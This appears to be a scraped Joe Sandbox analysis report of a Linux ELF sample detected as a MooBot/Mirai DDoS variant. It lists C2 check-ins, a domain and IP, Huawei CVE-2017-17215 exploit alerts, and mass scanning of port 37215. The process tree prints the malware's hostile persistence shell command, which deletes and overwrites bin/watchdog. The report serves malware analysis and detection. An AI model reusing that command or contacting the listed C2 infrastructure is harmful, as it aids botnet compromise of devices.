GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23195.133.40.20236176569992030490 03/20/23-16:13:48.596290	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	36176	56999	192.168.2.23	195.133.40.202
195.133.40.202192.168.2.2356999361762030489 03/20/23-16:13:53.166618	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	56999	36176	195.133.40.202	192.168.2.23
192.168.2.23195.164.211.5057976372152835222 03/20/23-16:13:57.691757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57976	37215	192.168.2.23	195.164.211.50

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 16:13:48.130729914 CET	42836	443	192.168.2.23	91.189.91.43
Mar 20, 2023 16:13:48.548531055 CET	22607	37215	192.168.2.23	197.51.144.74
Mar 20, 2023 16:13:48.548536062 CET	22607	37215	192.168.2.23	157.91.137.160
Mar 20, 2023 16:13:48.548562050 CET	22607	37215	192.168.2.23	41.38.180.74
Mar 20, 2023 16:13:48.548583031 CET	22607	37215	192.168.2.23	41.157.212.222
Mar 20, 2023 16:13:48.548630953 CET	22607	37215	192.168.2.23	157.18.57.34
Mar 20, 2023 16:13:48.548635960 CET	22607	37215	192.168.2.23	41.120.172.141
Mar 20, 2023 16:13:48.548655987 CET	22607	37215	192.168.2.23	41.79.195.210
Mar 20, 2023 16:13:48.548682928 CET	22607	37215	192.168.2.23	120.82.116.87
Mar 20, 2023 16:13:48.548687935 CET	22607	37215	192.168.2.23	41.88.164.178
Mar 20, 2023 16:13:48.548692942 CET	22607	37215	192.168.2.23	41.171.240.4
Mar 20, 2023 16:13:48.548707962 CET	22607	37215	192.168.2.23	41.193.22.17
Mar 20, 2023 16:13:48.548757076 CET	22607	37215	192.168.2.23	41.102.217.79
Mar 20, 2023 16:13:48.548768997 CET	22607	37215	192.168.2.23	197.183.175.176
Mar 20, 2023 16:13:48.548779964 CET	22607	37215	192.168.2.23	197.141.128.211
Mar 20, 2023 16:13:48.548866034 CET	22607	37215	192.168.2.23	155.230.161.178
Mar 20, 2023 16:13:48.548919916 CET	22607	37215	192.168.2.23	157.25.224.249
Mar 20, 2023 16:13:48.548924923 CET	22607	37215	192.168.2.23	197.122.115.189
Mar 20, 2023 16:13:48.548933983 CET	22607	37215	192.168.2.23	157.19.73.220
Mar 20, 2023 16:13:48.548935890 CET	22607	37215	192.168.2.23	157.5.115.233
Mar 20, 2023 16:13:48.548938036 CET	22607	37215	192.168.2.23	157.28.224.236
Mar 20, 2023 16:13:48.548938036 CET	22607	37215	192.168.2.23	197.231.0.218
Mar 20, 2023 16:13:48.548940897 CET	22607	37215	192.168.2.23	197.47.38.145
Mar 20, 2023 16:13:48.548979044 CET	22607	37215	192.168.2.23	92.37.56.164
Mar 20, 2023 16:13:48.548979998 CET	22607	37215	192.168.2.23	197.56.0.157
Mar 20, 2023 16:13:48.548981905 CET	22607	37215	192.168.2.23	157.8.146.25
Mar 20, 2023 16:13:48.549000025 CET	22607	37215	192.168.2.23	157.35.187.136
Mar 20, 2023 16:13:48.549016953 CET	22607	37215	192.168.2.23	197.81.103.71
Mar 20, 2023 16:13:48.549027920 CET	22607	37215	192.168.2.23	157.101.202.223
Mar 20, 2023 16:13:48.549041033 CET	22607	37215	192.168.2.23	213.128.219.251
Mar 20, 2023 16:13:48.549060106 CET	22607	37215	192.168.2.23	99.138.91.131
Mar 20, 2023 16:13:48.549066067 CET	22607	37215	192.168.2.23	41.248.109.221
Mar 20, 2023 16:13:48.549093962 CET	22607	37215	192.168.2.23	193.117.98.153
Mar 20, 2023 16:13:48.549110889 CET	22607	37215	192.168.2.23	157.213.207.202
Mar 20, 2023 16:13:48.549869061 CET	22607	37215	192.168.2.23	61.148.151.19
Mar 20, 2023 16:13:48.549886942 CET	22607	37215	192.168.2.23	197.33.230.87
Mar 20, 2023 16:13:48.549886942 CET	22607	37215	192.168.2.23	41.234.10.177
Mar 20, 2023 16:13:48.549905062 CET	22607	37215	192.168.2.23	41.55.147.79
Mar 20, 2023 16:13:48.549920082 CET	22607	37215	192.168.2.23	157.184.221.36
Mar 20, 2023 16:13:48.549936056 CET	22607	37215	192.168.2.23	41.147.100.17
Mar 20, 2023 16:13:48.549937010 CET	22607	37215	192.168.2.23	197.201.119.217
Mar 20, 2023 16:13:48.549957991 CET	22607	37215	192.168.2.23	197.146.203.132
Mar 20, 2023 16:13:48.549973011 CET	22607	37215	192.168.2.23	157.16.36.193
Mar 20, 2023 16:13:48.549978971 CET	22607	37215	192.168.2.23	147.203.32.94
Mar 20, 2023 16:13:48.549994946 CET	22607	37215	192.168.2.23	41.11.65.191
Mar 20, 2023 16:13:48.550004005 CET	22607	37215	192.168.2.23	157.170.214.155
Mar 20, 2023 16:13:48.550017118 CET	22607	37215	192.168.2.23	157.59.163.2
Mar 20, 2023 16:13:48.550035954 CET	22607	37215	192.168.2.23	183.9.177.103
Mar 20, 2023 16:13:48.550050974 CET	22607	37215	192.168.2.23	59.35.85.25
Mar 20, 2023 16:13:48.550096989 CET	22607	37215	192.168.2.23	36.163.108.31
Mar 20, 2023 16:13:48.550111055 CET	22607	37215	192.168.2.23	41.177.90.248
Mar 20, 2023 16:13:48.550126076 CET	22607	37215	192.168.2.23	197.99.205.227
Mar 20, 2023 16:13:48.550287008 CET	22607	37215	192.168.2.23	157.54.190.198
Mar 20, 2023 16:13:48.550292015 CET	22607	37215	192.168.2.23	31.150.50.232
Mar 20, 2023 16:13:48.550313950 CET	22607	37215	192.168.2.23	41.168.170.75
Mar 20, 2023 16:13:48.550324917 CET	22607	37215	192.168.2.23	157.106.170.154
Mar 20, 2023 16:13:48.550338030 CET	22607	37215	192.168.2.23	189.18.29.223
Mar 20, 2023 16:13:48.550348043 CET	22607	37215	192.168.2.23	157.144.211.229
Mar 20, 2023 16:13:48.550364017 CET	22607	37215	192.168.2.23	157.219.192.119
Mar 20, 2023 16:13:48.550376892 CET	22607	37215	192.168.2.23	197.55.226.81
Mar 20, 2023 16:13:48.550401926 CET	22607	37215	192.168.2.23	197.89.74.28
Mar 20, 2023 16:13:48.550406933 CET	22607	37215	192.168.2.23	197.19.239.174
Mar 20, 2023 16:13:48.550425053 CET	22607	37215	192.168.2.23	197.209.76.165
Mar 20, 2023 16:13:48.550443888 CET	22607	37215	192.168.2.23	41.92.58.186
Mar 20, 2023 16:13:48.550451994 CET	22607	37215	192.168.2.23	41.188.71.247
Mar 20, 2023 16:13:48.550472021 CET	22607	37215	192.168.2.23	110.130.116.251
Mar 20, 2023 16:13:48.550482035 CET	22607	37215	192.168.2.23	157.222.60.88
Mar 20, 2023 16:13:48.550489902 CET	22607	37215	192.168.2.23	197.15.100.200
Mar 20, 2023 16:13:48.550515890 CET	22607	37215	192.168.2.23	157.122.22.2
Mar 20, 2023 16:13:48.550520897 CET	22607	37215	192.168.2.23	41.155.190.194
Mar 20, 2023 16:13:48.550540924 CET	22607	37215	192.168.2.23	197.18.240.69
Mar 20, 2023 16:13:48.550548077 CET	22607	37215	192.168.2.23	115.155.75.22
Mar 20, 2023 16:13:48.550558090 CET	22607	37215	192.168.2.23	82.245.165.66
Mar 20, 2023 16:13:48.550570965 CET	22607	37215	192.168.2.23	222.186.16.117
Mar 20, 2023 16:13:48.550606966 CET	22607	37215	192.168.2.23	157.163.68.182
Mar 20, 2023 16:13:48.550672054 CET	22607	37215	192.168.2.23	41.240.254.22
Mar 20, 2023 16:13:48.550678968 CET	22607	37215	192.168.2.23	41.254.176.123
Mar 20, 2023 16:13:48.550685883 CET	22607	37215	192.168.2.23	115.239.103.58
Mar 20, 2023 16:13:48.550704002 CET	22607	37215	192.168.2.23	41.116.248.106
Mar 20, 2023 16:13:48.550719976 CET	22607	37215	192.168.2.23	157.142.0.23
Mar 20, 2023 16:13:48.550733089 CET	22607	37215	192.168.2.23	41.100.137.54
Mar 20, 2023 16:13:48.550744057 CET	22607	37215	192.168.2.23	158.32.13.230
Mar 20, 2023 16:13:48.550744057 CET	22607	37215	192.168.2.23	206.83.152.134
Mar 20, 2023 16:13:48.550754070 CET	22607	37215	192.168.2.23	157.189.166.168
Mar 20, 2023 16:13:48.550772905 CET	22607	37215	192.168.2.23	45.51.153.5
Mar 20, 2023 16:13:48.550780058 CET	22607	37215	192.168.2.23	197.217.29.152
Mar 20, 2023 16:13:48.550801039 CET	22607	37215	192.168.2.23	157.125.80.49
Mar 20, 2023 16:13:48.550810099 CET	22607	37215	192.168.2.23	36.23.109.50
Mar 20, 2023 16:13:48.550816059 CET	22607	37215	192.168.2.23	222.6.115.126
Mar 20, 2023 16:13:48.550827980 CET	22607	37215	192.168.2.23	157.66.96.169
Mar 20, 2023 16:13:48.550844908 CET	22607	37215	192.168.2.23	157.243.119.140
Mar 20, 2023 16:13:48.550860882 CET	22607	37215	192.168.2.23	158.34.191.176
Mar 20, 2023 16:13:48.550880909 CET	22607	37215	192.168.2.23	157.215.210.73
Mar 20, 2023 16:13:48.550887108 CET	22607	37215	192.168.2.23	157.94.125.1
Mar 20, 2023 16:13:48.550900936 CET	22607	37215	192.168.2.23	109.212.49.131
Mar 20, 2023 16:13:48.550914049 CET	22607	37215	192.168.2.23	197.37.13.136
Mar 20, 2023 16:13:48.550919056 CET	22607	37215	192.168.2.23	197.163.252.112
Mar 20, 2023 16:13:48.550931931 CET	22607	37215	192.168.2.23	197.240.151.20
Mar 20, 2023 16:13:48.550945997 CET	22607	37215	192.168.2.23	41.160.133.122
Mar 20, 2023 16:13:48.550961971 CET	22607	37215	192.168.2.23	157.62.138.220

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 16:13:48.544802904 CET	192.168.2.23	8.8.8.8	0x5faf	Standard query (0)	test.zxyes.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 20, 2023 16:13:48.568625927 CET	8.8.8.8	192.168.2.23	0x5faf	No error (0)	test.zxyes.xyz		195.133.40.202	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: v8OWS3Ylfj.elf PID: 6223, Parent PID: 6125

General

Start time:	16:13:47
Start date:	20/03/2023
Path:	/tmp/v8OWS3Ylfj.elf
Arguments:	/tmp/v8OWS3Ylfj.elf
File size:	55632 bytes
MD5 hash:	2b318e2fa59dccaa45cc59c5fea7e082

Analysis Process: v8OWS3Ylfj.elf PID: 6224, Parent PID: 6223

General

Start time:	16:13:47
Start date:	20/03/2023
Path:	/tmp/v8OWS3Ylfj.elf
Arguments:	n/a
File size:	55632 bytes
MD5 hash:	2b318e2fa59dccaa45cc59c5fea7e082

Analysis Process: sh PID: 6224, Parent PID: 6223

General

Start time:	16:13:47
Start date:	20/03/2023
Path:	/bin/sh
Arguments:	sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv \"/tmp/v8OWS3Ylfj.elf \\xdc\u0420\\xff\\x84\\x88&bin/watchdog; chmod 777 bin/watchdog"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: v8OWS3Ylfj.elf PID: 6225, Parent PID: 6223

General

Start time:	16:13:48
Start date:	20/03/2023
Path:	/tmp/v8OWS3Ylfj.elf
Arguments:	n/a
File size:	55632 bytes
MD5 hash:	2b318e2fa59dccaa45cc59c5fea7e082

Analysis Process: v8OWS3Ylfj.elf PID: 6226, Parent PID: 6225

General

Start time:	16:13:48
Start date:	20/03/2023
Path:	/tmp/v8OWS3Ylfj.elf
Arguments:	n/a
File size:	55632 bytes
MD5 hash:	2b318e2fa59dccaa45cc59c5fea7e082

Analysis Process: v8OWS3Ylfj.elf PID: 6227, Parent PID: 6225

General

Start time:	16:13:48
Start date:	20/03/2023
Path:	/tmp/v8OWS3Ylfj.elf
Arguments:	n/a
File size:	55632 bytes
MD5 hash:	2b318e2fa59dccaa45cc59c5fea7e082

Source: v8OWS3Ylfj.elf	Virustotal: Detection: 56%			Perma Link
Source: v8OWS3Ylfj.elf	ReversingLabs: Detection: 58%

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:36176 -> 195.133.40.202:56999
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 195.133.40.202:56999 -> 192.168.2.23:36176
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57976 -> 195.164.211.50:37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 197.51.144.74
Source: unknown	TCP traffic detected without corresponding DNS query: 157.91.137.160
Source: unknown	TCP traffic detected without corresponding DNS query: 41.38.180.74
Source: unknown	TCP traffic detected without corresponding DNS query: 41.157.212.222
Source: unknown	TCP traffic detected without corresponding DNS query: 157.18.57.34
Source: unknown	TCP traffic detected without corresponding DNS query: 41.120.172.141
Source: unknown	TCP traffic detected without corresponding DNS query: 41.79.195.210
Source: unknown	TCP traffic detected without corresponding DNS query: 120.82.116.87
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.164.178
Source: unknown	TCP traffic detected without corresponding DNS query: 41.171.240.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.193.22.17
Source: unknown	TCP traffic detected without corresponding DNS query: 41.102.217.79
Source: unknown	TCP traffic detected without corresponding DNS query: 197.183.175.176
Source: unknown	TCP traffic detected without corresponding DNS query: 197.141.128.211
Source: unknown	TCP traffic detected without corresponding DNS query: 155.230.161.178
Source: unknown	TCP traffic detected without corresponding DNS query: 157.25.224.249
Source: unknown	TCP traffic detected without corresponding DNS query: 197.122.115.189
Source: unknown	TCP traffic detected without corresponding DNS query: 157.19.73.220
Source: unknown	TCP traffic detected without corresponding DNS query: 157.5.115.233
Source: unknown	TCP traffic detected without corresponding DNS query: 157.28.224.236
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.0.218
Source: unknown	TCP traffic detected without corresponding DNS query: 197.47.38.145
Source: unknown	TCP traffic detected without corresponding DNS query: 92.37.56.164
Source: unknown	TCP traffic detected without corresponding DNS query: 197.56.0.157
Source: unknown	TCP traffic detected without corresponding DNS query: 157.8.146.25
Source: unknown	TCP traffic detected without corresponding DNS query: 157.35.187.136
Source: unknown	TCP traffic detected without corresponding DNS query: 197.81.103.71
Source: unknown	TCP traffic detected without corresponding DNS query: 157.101.202.223
Source: unknown	TCP traffic detected without corresponding DNS query: 213.128.219.251
Source: unknown	TCP traffic detected without corresponding DNS query: 99.138.91.131
Source: unknown	TCP traffic detected without corresponding DNS query: 41.248.109.221
Source: unknown	TCP traffic detected without corresponding DNS query: 193.117.98.153
Source: unknown	TCP traffic detected without corresponding DNS query: 157.213.207.202
Source: unknown	TCP traffic detected without corresponding DNS query: 61.148.151.19
Source: unknown	TCP traffic detected without corresponding DNS query: 197.33.230.87
Source: unknown	TCP traffic detected without corresponding DNS query: 41.55.147.79
Source: unknown	TCP traffic detected without corresponding DNS query: 157.184.221.36
Source: unknown	TCP traffic detected without corresponding DNS query: 41.147.100.17
Source: unknown	TCP traffic detected without corresponding DNS query: 197.201.119.217
Source: unknown	TCP traffic detected without corresponding DNS query: 197.146.203.132
Source: unknown	TCP traffic detected without corresponding DNS query: 157.16.36.193
Source: unknown	TCP traffic detected without corresponding DNS query: 147.203.32.94
Source: unknown	TCP traffic detected without corresponding DNS query: 41.11.65.191
Source: unknown	TCP traffic detected without corresponding DNS query: 157.170.214.155
Source: unknown	TCP traffic detected without corresponding DNS query: 157.59.163.2
Source: unknown	TCP traffic detected without corresponding DNS query: 183.9.177.103
Source: unknown	TCP traffic detected without corresponding DNS query: 59.35.85.25
Source: unknown	TCP traffic detected without corresponding DNS query: 36.163.108.31
Source: unknown	TCP traffic detected without corresponding DNS query: 41.177.90.248

Source: v8OWS3Ylfj.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: v8OWS3Ylfj.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report v8OWS3Ylfj.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: v8OWS3Ylfj.elf PID: 6223, Parent PID: 6125

General

Analysis Process: v8OWS3Ylfj.elf PID: 6224, Parent PID: 6223

General

Analysis Process: sh PID: 6224, Parent PID: 6223

General

Analysis Process: v8OWS3Ylfj.elf PID: 6225, Parent PID: 6223

General

Analysis Process: v8OWS3Ylfj.elf PID: 6226, Parent PID: 6225

General

Analysis Process: v8OWS3Ylfj.elf PID: 6227, Parent PID: 6225

General

Linux Analysis Report
v8OWS3Ylfj.elf